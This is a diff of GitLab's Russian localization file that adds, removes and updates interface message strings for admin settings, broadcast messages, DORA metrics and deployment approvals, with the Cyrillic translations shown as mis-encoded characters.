msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} — Ñто беÑплатный, автоматизированный и открытый центр Ñертификации (CA), который предоÑтавлÑет цифровые Ñертификаты Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ HTTPS (SSL/TLS) на веб-Ñайтах."
@@ -1004,6 +1007,9 @@ msgstr "%{level_name} не допуÑкаетÑÑ Ð² %{group_level_name} груÐ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} запрещено, Ñ‚.к. проект-иÑточник Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÐµÑ‚ более узкую облаÑÑ‚ÑŒ видимоÑти."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Удалите Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ %{draft_snippet}%{link_end} из заголовка, чтобы позволить Ñтому запроÑу на ÑлиÑние выполнитьÑÑ Ð¿Ñ€Ð¸ готовноÑти."
@@ -1035,7 +1041,7 @@ msgid "%{milliseconds}ms"
msgstr "%{milliseconds}мÑ"
msgid "%{minutesUsed} minutes"
-msgstr ""
+msgstr "%{minutesUsed} минут"
msgid "%{model_name} not found"
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} релиз"
@@ -1156,6 +1168,13 @@ msgstr "%{reportType} обнаружено %{totalStart}%{total}%{totalEnd} по
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} ГиБ"
@@ -1328,13 +1344,6 @@ msgstr "%{template_project_id}' неизвеÑтен или недейÑтвит
msgid "%{text} is available"
msgstr "%{text} доÑтупен"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} не поддерживает диаграммы ÑгораниÑ"
@@ -1805,11 +1814,11 @@ msgstr[2] "%d ролей"
msgstr[3] "%d ролей"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 пользователь"
-msgstr[1] "%{num} пользователей"
-msgstr[2] "%{num} пользователей"
-msgstr[3] "%{num} пользователей"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -2038,6 +2047,9 @@ msgstr "Перебазирование уже началоÑÑŒ."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Выполнен вход в вашу учётную запиÑÑŒ Ñо Ñледующего IP-адреÑа: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "ТребуетÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾Ðº"
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "Ошибка ÑервиÑа AWS: %{error}"
-
msgid "Abort"
msgstr "Отменить"
@@ -2233,9 +2242,6 @@ msgstr "Токены доÑтупа"
msgid "Access denied for your LDAP account."
msgstr "ДоÑтуп запрещен Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи LDAP."
-msgid "Access denied: %{error}"
-msgstr "ДоÑтуп запрещён: %{error}"
-
msgid "Access expires"
msgstr "ДоÑтуп иÑтекает"
@@ -2395,7 +2401,7 @@ msgstr "ДейÑтвиÑ"
msgid "Activate Service Desk"
msgstr "Ðктивировать Ñлужбу поддержки"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "Добавить Ñворачиваемую Ñекцию"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Добавить комментарий к Ñтой Ñтроке"
@@ -2636,10 +2645,10 @@ msgid "Add previously merged commits"
msgstr "Добавить ранее Ñлитые коммиты"
msgid "Add project"
-msgstr ""
+msgstr "Добавить проект"
msgid "Add projects"
-msgstr ""
+msgstr "Добавить проекты"
msgid "Add reaction"
msgstr "Добавить реакцию"
@@ -2851,15 +2860,18 @@ msgstr "Ðктивные пользователи"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Ð’Ñе пользователи, Ñозданные в данном ÑкземплÑре, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ñ‚ÐµÑ…, которые не ÑвлÑÑŽÑ‚ÑÑ %{billable_users_link_start}платными%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Оплачиваемые пользователи"
-
msgid "AdminArea|Blocked users"
msgstr "Заблокированные пользователи"
msgid "AdminArea|Bots"
msgstr "Боты"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Компоненты"
@@ -2941,9 +2953,18 @@ msgstr "ОÑтановить заданиÑ"
msgid "AdminArea|Stopping jobs failed"
msgstr "ОÑтановка заданий не удалаÑÑŒ"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Ð’Ñего пользователей"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr "ПоÑмотреть недавних пользователей"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ оÑтановить вÑе заданиÑ. Выполнение вÑех запущенных заданий будет прервано."
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Ошибка загрузки ÑтатиÑтики. ПожалуйÑта, попробуйте еще раз"
@@ -3025,6 +3052,9 @@ msgstr "Ð’Ñе новые проекты могут иÑпользовать оÐ
msgid "AdminSettings|Auto DevOps domain"
msgstr "Домен Auto DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "Включить баннер, рекомендующий добавить Ñборочную линию"
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr "ПродолжительноÑÑ‚ÑŒ ÑеанÑа Ð´Ð»Ñ Git-операцÐ
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "Задайте шаблон CI/CD в качеÑтве обÑзательной конфигурации Ñборочной линии Ð´Ð»Ñ Ð²Ñех проектов данного ÑкземплÑра. ÐŸÑ€Ð¾ÐµÐºÑ‚Ð½Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ CI/CD ÑливаетÑÑ Ñ Ð¾Ð±Ñзательной при запуÑке Ñборочной линии. %{link_start}Что такое обÑÐ·Ð°Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборочной линии?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr "Шаблон обÑзательной конфигурации ÑборÐ
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,8 +3598,8 @@ msgstr "Ð’Ð°Ð¶Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾Ð± иÑпользовании ваш
msgid "AdminUsers|Is using seat"
msgstr "ИÑпользует меÑто"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "ОбÑуждениÑ, Ñозданные Ñтим пользователем, Ñкрыты от других пользователей."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "Это вы!"
@@ -3607,6 +3643,9 @@ msgstr "Личные проекты будут Ñохранены"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Личные проекты, группы и иÑÑ‚Ð¾Ñ€Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ оÑтанутÑÑ Ð½ÐµÑ‚Ñ€Ð¾Ð½ÑƒÑ‚Ñ‹Ð¼Ð¸"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr "Произошла ошибка при Ñоздании форматир
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Произошла ошибка при авторизации вашей роли"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Ошибка при проверке пути к группе. Обновите Ñтраницу и попробуйте ещё раз."
@@ -4678,15 +4717,6 @@ msgstr "Произошла ошибка при загрузке запроÑов
msgid "An error occurred while loading projects."
msgstr "При получении ÑпиÑка проектов произошла ошибка."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "Произошла ошибка при загрузке вкладки \"ЗаданиÑ\"."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "Произошла ошибка при загрузке вкладки \"ПотребноÑти\"."
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "Произошла ошибка при загрузке вкладки \"Отчеты по теÑтам\"."
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr "Произошла ошибка при загрузке запроÑа Ð
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Произошла ошибка при загрузке наÑтроек уведомлений. ПожалуйÑта, попробуйте ещё раз."
-msgid "An error occurred while loading the pipeline."
-msgstr "Произошла ошибка при загрузке Ñборочной линии."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Произошла ошибка при загрузке заданий Ñборочных линий."
@@ -4976,6 +5003,18 @@ msgstr "Добавить комментарий Ñ %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Добавить комментарий Ñ %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Приложение"
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr "Применение предложений..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Правила утверждениÑ"
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr "Широковещательное Ñообщение уÑпешно оÐ
msgid "Broadcast Messages"
msgstr "Широковещательные СообщениÑ"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "ПроÑмотр каталога"
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8134,7 +8272,7 @@ msgid "Cannot skip two factor authentication setup"
msgstr "Ðевозможно пропуÑтить наÑтройку двухфакторной аутентификации"
msgid "Capacity threshold"
-msgstr ""
+msgstr "Порог ёмкоÑти"
msgid "Card holder name"
msgstr "Ð˜Ð¼Ñ Ð²Ð»Ð°Ð´ÐµÐ»ÑŒÑ†Ð° карты"
@@ -8235,13 +8373,10 @@ msgstr "Изменить пароль"
msgid "Change your password or recover your current one"
msgstr "Измените пароль или воÑÑтановите текущий"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr "Перейти к оплате"
msgid "Checkout|Country"
msgstr "Страна"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Создать новую группу"
@@ -8687,12 +8825,6 @@ msgstr "ДочернÑÑ"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "Дочерний объект не ÑущеÑтвует."
-
-msgid "Child epic doesn't exist."
-msgstr "Дочерней цели не ÑущеÑтвует."
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr "СоÑтоÑние"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Тип"
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Ðажмите, чтобы развернуть."
@@ -9105,12 +9243,18 @@ msgstr "Закрытые обÑуждениÑ"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Закрыто: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "ÐšÐ°Ð¶Ð´Ð°Ñ Ð½Ð¾Ð²Ð°Ñ ÑƒÑ‡ÐµÑ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ Google Cloud Platform (GCP) получает по $300 в кредит по %{sign_up_link}. Ð’ партнерÑтве Ñ Google, GitLab может предложить дополнительные $200 Ð´Ð»Ñ Ð½Ð¾Ð²Ñ‹Ñ… учетных запиÑей GCP, чтобы начать работу Ñ GitLab Ñ Ð¸Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸ÐµÐ¹ Google Kubernetes Engine."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Ðе удалоÑÑŒ наÑтроить клаÑтер Google Kubernetes Engine: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Ðе удалоÑÑŒ обратитьÑÑ Ðº Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Ðе удалоÑÑŒ запуÑтить Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ GitLab"
@@ -9815,7 +9944,7 @@ msgid "ClusterIntegration|Group cluster"
msgstr "КлаÑтер группы"
msgid "ClusterIntegration|HTTP Error"
-msgstr ""
+msgstr "Ошибка HTTP"
msgid "ClusterIntegration|If you do not wish to delete all associated GitLab resources, you can simply remove the integration."
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr "Ðе найдено ÑвÑзанных запроÑов на ÑлиÑнÐ
msgid "Committed by"
msgstr "ЗафикÑировано автором"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Форум ÑообщеÑтва"
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "Перейти к Ñледующему шагу"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "ÐÐµÐ¿Ñ€ÐµÑ€Ñ‹Ð²Ð½Ð°Ñ Ð¸Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ð¸ развертывание"
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr "Выпадающий фильтр проекта"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr "Ð’Ñе"
msgid "DashboardProjects|Personal"
msgstr "Личные"
-msgid "DashboardProjects|Trending"
-msgstr "ПопулÑрные"
-
msgid "Dashboards"
msgstr ""
@@ -12946,7 +13120,7 @@ msgid "DastProfiles|URLs to skip during the authenticated scan."
msgstr ""
msgid "DastProfiles|Username"
-msgstr ""
+msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ"
msgid "DastProfiles|Username form field"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr "Разница между начальной датой и нынешней"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14740,7 +14939,7 @@ msgid "Discover|Check your application for security vulnerabilities that may lea
msgstr "Проверьте ваше приложение на наличие уÑзвимоÑтей, которые могут привеÑти к неÑанкционированному доÑтупу, утечкам данных и отказам в обÑлуживании."
msgid "Discover|For code that's already live in production, our dashboards give you an easy way to prioritize any issues that are found, empowering your team to ship quickly and securely."
-msgstr "Ð”Ð»Ñ ÐºÐ¾Ð´Ð°, который уже находитÑÑ Ð² производÑтве, наши панели инÑтрументов предлагают проÑтой ÑпоÑоб приоритезировать вÑе найденные проблемы, Ð´ÐµÐ»Ð°Ñ Ð²Ð°ÑˆÑƒ команду ÑпоÑобной выдавать результат быÑтро и безопаÑно."
+msgstr "Ð”Ð»Ñ ÐºÐ¾Ð´Ð°, который уже находитÑÑ Ð² производÑтве, наши панели инÑтрументов предлагают проÑтой ÑпоÑоб приоритизировать вÑе найденные проблемы, Ð´ÐµÐ»Ð°Ñ Ð²Ð°ÑˆÑƒ команду ÑпоÑобной выдавать результат быÑтро и безопаÑно."
msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
msgstr "GitLab выполнит ÑтатичеÑкие и динамичеÑкие теÑÑ‚Ñ‹ в коде вашего Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð² поиÑке извеÑтных дефектов и Ñообщит о них в запроÑе на ÑлиÑние, так чтобы вы могли иÑправить их перед завершением запроÑа."
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
